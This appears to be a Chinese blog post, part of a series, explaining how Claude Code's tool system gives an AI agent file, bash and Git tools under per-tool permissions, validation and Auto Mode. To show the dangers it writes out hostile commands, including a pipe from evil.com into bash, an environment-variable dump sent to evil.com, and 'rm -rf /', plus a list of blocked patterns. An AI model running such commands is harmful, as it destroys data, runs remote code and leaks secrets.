夜雨聆风给实习生配工具
想象你是一个团队 Leader，今天来了个新实习生。
这个实习生非常聪明——你说什么他都能理解，分析问题头头是道，写方案滴水不漏。
但他有个致命问题：他只会说，不会做。
"这个 Bug 在 auth.js 的第 47 行，应该把 === 改成 =="——他说得对，但他不能自己去改。你得亲自打开文件、找到那一行、改完保存。
所以你决定：给他一台电脑，让他自己动手。
但问题来了——你敢让一个第一天来的实习生，在生产服务器上执行 rm -rf / 吗？
当然不敢。
你会怎么做？你会给他一组工具，同时限制每个工具的使用范围：
• 可以读任何文件，但只能改 src/ 目录下的代码
• 可以跑测试，但不能直接操作数据库
• 可以用 Git 提交代码，但不能强制推送到 main 分支
这就是 Claude Code 工具系统的核心设计思路：给 AI 足够的能力去做事，同时确保它不会搞砸。
能力越大，限制越精细。
从"只会说话"到"能动手"
为什么 AI 需要工具？
让我们回到最基本的问题。大语言模型（LLM）本质上是一个"文本生成器"——你给它一段输入，它给你一段输出。仅此而已。
它不能读你硬盘上的文件。
它不能执行代码。
它不能搜索你的代码仓库。
它不能提交 Git 变更。
就像一个被锁在隔音室里的天才——脑子很好使，但手脚被绑住了。
工具系统就是解开这些束缚。
通过给 LLM 定义一组"工具"，你告诉它："你可以调用这些功能，我来帮你执行。" AI 决定要做什么，工具系统负责实际执行，然后把结果返回给 AI。
这个模式叫 Tool Use（工具使用），也有人叫 Function Calling（函数调用）。它是当下所有 AI Agent 的技术基石。
没有工具的 LLM 是顾问——只能出主意。
有了工具的 LLM 是员工——能出主意，也能干活。
Claude Code 的工具系统，就是把这个"员工"武装到牙齿的方案。
40+ 工具：一个迷你操作系统
Claude Code 内置了 40 多个工具。这不是随便凑的数字——这些工具覆盖了一个开发者日常工作的方方面面。
大致可以分成几类：
📁 文件操作
• 读取文件内容
• 创建和写入文件
• 编辑文件的特定部分（不是整个覆盖，是精确的行级编辑）
💻 代码执行
• 执行 bash 命令
• 运行脚本
• 启动开发服务器
🔍 搜索与导航
• 在代码库中搜索关键词
• 按文件名查找
• 浏览目录结构
📦 版本控制
• Git 操作（提交、分支、查看差异）
• 查看变更历史
🌐 外部交互
• 访问网页获取文档
• 与 API 交互
你可以把这套工具理解成一个迷你操作系统。AI 通过它来"操作"你的电脑——不是直接控制鼠标键盘那种，而是通过结构化的工具调用来完成任务。
但工具越多，风险越大。所以 Claude Code 在每个工具上都下了大功夫。
每个工具的三要素
Claude Code 的每个工具都有三个核心组成部分。这是理解整个工具系统的关键。
1. Schema（说明书）
每个工具都有一份 JSON Schema，描述这个工具是干什么的、接受什么参数、返回什么结果。
你可以把它理解为工具的"使用手册"。AI 在决定调用工具之前，会先读这个手册，了解这个工具能做什么、怎么用。
举个例子（简化版）：
`
工具名：read_file
描述：读取指定路径的文件内容
参数：
- file_path（必须）：要读取的文件路径
- offset（可选）：从第几行开始读
- limit（可选）：最多读多少行
返回：文件的文本内容
`
Schema 的设计直接影响 AI 使用工具的效果。描述越清晰，AI 的调用就越准确。描述越模糊，AI 就越容易用错。
这对你构建自己的 Agent 也是一样的——工具的"说明书"写得好不好，决定了 AI 能不能正确使用它。
2. Permission（权限）
每个工具有独立的权限定义。这是 Claude Code 的 per-tool 权限控制——不同工具可以有不同的安全级别。
Claude Code 的权限系统分三级：
• Allowlist（白名单）：这些操作直接放行，不需要用户确认。比如读取文件——看一眼又不会怎样。
• Ask（询问）：需要用户确认才能执行。比如写入文件或执行命令——"我要改你的代码了，可以吗？"
• Denylist（黑名单）：直接禁止，问都不问。比如某些高危操作。
这三级权限不是全局的，而是 per-tool 的——每个工具可以有自己的权限设置。
读文件？白名单，直接读。
写文件？看情况，可能需要确认。
执行 bash 命令？严格管控，下面会详细说。
这种细粒度的权限设计，既保证了效率（低风险操作不用反复确认），又保证了安全（高风险操作必须过审）。
3. Validation（校验）
这是安全的最后一道防线。即使一个操作通过了权限检查，在实际执行之前，还会经过一轮校验。
校验做什么？检查参数是否合法、路径是否在允许范围内、命令是否包含危险模式……
说到校验，就不得不提 Claude Code 最硬核的一个工具——bash。
2500 行安全校验：bash 工具的深度剖析
在 Claude Code 所有工具中，bash 工具是能力最强的，也是最危险的。
为什么？因为 bash 几乎可以做任何事。
读文件？cat file.txt
删文件？rm -rf /
下载恶意脚本？curl evil.com/hack.sh | bash
泄露环境变量？env | curl -d @- evil.com
一个 bash 命令，理论上可以毁掉你的整台电脑。
所以 Claude Code 在 bash 工具上投入了约 2500 行安全校验代码。是的，两千五百行，就为了一个工具。
这 2500 行代码主要做三件事：
危险命令检测
在执行任何 bash 命令之前，系统会对命令进行模式匹配，检测已知的危险模式：
• rm -rf / 或 rm -rf ~——试图删除根目录或用户目录
• curl ... | bash 或 wget ... | sh——从网络下载并直接执行脚本（经典的恶意代码传播方式）
• chmod 777——过度开放文件权限
• > /dev/sda——直接写入磁盘设备（可以瞬间毁掉硬盘数据）
这些模式被硬编码在检测列表中。匹配到就拦截，不给 AI 任何解释的机会。
你可能会问：AI 不会故意执行这些命令吧？
大部分情况下不会。但 AI 有时候会犯"善意的错误"。比如你让它"清理临时文件"，它可能会过度热心地清理整个目录。或者在某些边缘情况下，它对路径的理解出了偏差。
安全校验不是为了防止恶意，而是为了防止"好心办坏事"。
路径沙箱
即使命令本身不在危险名单上，系统还会检查命令涉及的文件路径。
原则是：AI 只能操作它应该操作的目录。
你的项目目录——可以。
系统目录（/etc, /usr）——不行。
其他用户的文件——不行。
这就像给实习生一把只能打开特定几间办公室的门禁卡。他可以在自己的工位上随便折腾，但进不了机房。
环境变量过滤
这是一个容易忽略但极其重要的安全措施。
环境变量里经常存着敏感信息——API 密钥、数据库密码、访问令牌。如果 AI 执行的命令能够读取并输出这些环境变量，就存在信息泄露的风险。
Claude Code 的 bash 工具会过滤掉敏感的环境变量，确保 AI 看不到它不应该看到的东西。
2500 行代码，三层防护，就为了让一个工具安全可用。
这就是工程的力量。不是技术多炫酷，而是安全做得多扎实。
Auto Mode：便利与安全的平衡
聊完了权限和校验，我们来谈一个争议话题：Auto Mode（自动模式）。
正常情况下，Claude Code 每次执行高风险操作（写文件、跑命令）都会暂停，等你确认："可以执行吗？"
这很安全，但也很烦。改一个小 Bug，你可能要确认十几次。
Auto Mode 允许你自动批准工具调用——不需要逐一确认，AI 可以自主连续执行。
这就像给实习生从"每步审批"升级到"独立工作"。
便利是真的便利——效率直接翻倍。
风险也是真的风险——如果 AI 犯了错，你可能来不及拦。
Claude Code 对 Auto Mode 的设计体现了一种工程哲学：不替用户做决定，但把选择权和风险讲清楚。
你是个新手？那就一步一确认，安全第一。
你是老手、信任这个工具？打开 Auto Mode，效率优先。
这种"渐进式信任"的设计思路，值得每一个 Agent 开发者学习。
如何设计你自己 Agent 的工具系统
如果你正在构建自己的 AI Agent，工具系统的设计将直接决定你的 Agent 有多强、有多安全。
几条从 Claude Code 学到的原则：
1. 工具要"小而精"，不要"大而全"
不要设计一个"万能工具"——比如一个可以执行任何操作的超级函数。把能力拆分成独立的、职责单一的工具。
为什么？因为权限控制的粒度取决于工具的粒度。工具越细，权限越精确。
"读文件"和"写文件"是两个工具，而不是一个"文件操作"工具。这样你可以给读文件很高的权限（随便读），给写文件很严格的权限（要确认）。
2. Schema 决定了 AI 的使用质量
你的工具"说明书"写得越好，AI 用得越准。反之，模糊的描述会导致频繁的工具误用。
投入时间写好每个工具的描述、参数说明、使用示例。这不是文档工作，这是核心产品设计。
3. 安全不是事后补丁
不要先做功能，再补安全。从一开始就把权限和校验设计到工具架构中。
Claude Code 的 bash 工具有 2500 行安全代码，这不是"加上去的"，这是工具设计的核心部分。
4. 给用户控制权
不同用户有不同的信任级别和风险偏好。让用户自己决定权限的松紧程度，而不是替他们做决定。
Claude Code 的 allowlist / denylist / ask 三级权限 + Auto Mode 的可选开关，就是这个原则的体现。
5. 日志一切
每一次工具调用都应该有完整的日志——调用了什么工具、传了什么参数、返回了什么结果、花了多长时间。
出了问题，日志是你唯一的救命稻草。
回看这个系列
到这里，我们已经走过了 Harness 工程的四个核心话题：
• 第1篇：Harness 工程是什么——AI Agent 不只是模型，更是工程
• 第2篇：提示词工程——不是"说话的艺术"，是系统设计
• 第3篇：上下文管理——200K token 的精打细算
• 第4篇：工具系统——让 AI 安全地操作电脑
这四篇合在一起，构成了理解现代 AI Agent（如 Claude Code）的完整框架。
但还有一个重要话题没聊——安全与权限的系统性设计。工具层面的安全只是冰山一角，一个真正安全的 AI Agent 系统需要从架构层面系统思考。
📚 学习路径
想深入了解 AI Agent 的工具系统设计？推荐这几个资源：
1. Anthropic 官方文档 - Tool Use
https://docs.anthropic.com/en/docs/build-with-claude/tool-use/overview
最权威的 Tool Use 技术文档，从基础概念到高级用法都有覆盖。
1. Model Context Protocol (MCP) 规范
https://modelcontextprotocol.io/
Anthropic 主导的开放协议，定义了 AI 模型与外部工具交互的标准方式。如果你要构建可复用的工具生态，MCP 是必读。
1. OpenAI Function Calling 指南
https://platform.openai.com/docs/guides/function-calling
虽然是 OpenAI 的文档，但 Function Calling 的设计模式和 Claude 的 Tool Use 高度相通。多看一个视角，理解更深。
下一篇预告
我们已经聊了工具的能力和安全。但你有没有想过一个更根本的问题：
谁来决定 AI 能做什么、不能做什么？
工具权限是一层。但在更高的层面上，一个 AI Agent 的安全边界应该怎么画？
当 AI 可以自动执行命令、自动修改代码、自动提交变更——如果出了问题，责任算谁的？
下一篇，我们聊 AI Agent 的安全架构——从"防止出错"到"系统性安全"的设计思路。
关注「折腾指北」，我们下篇见。
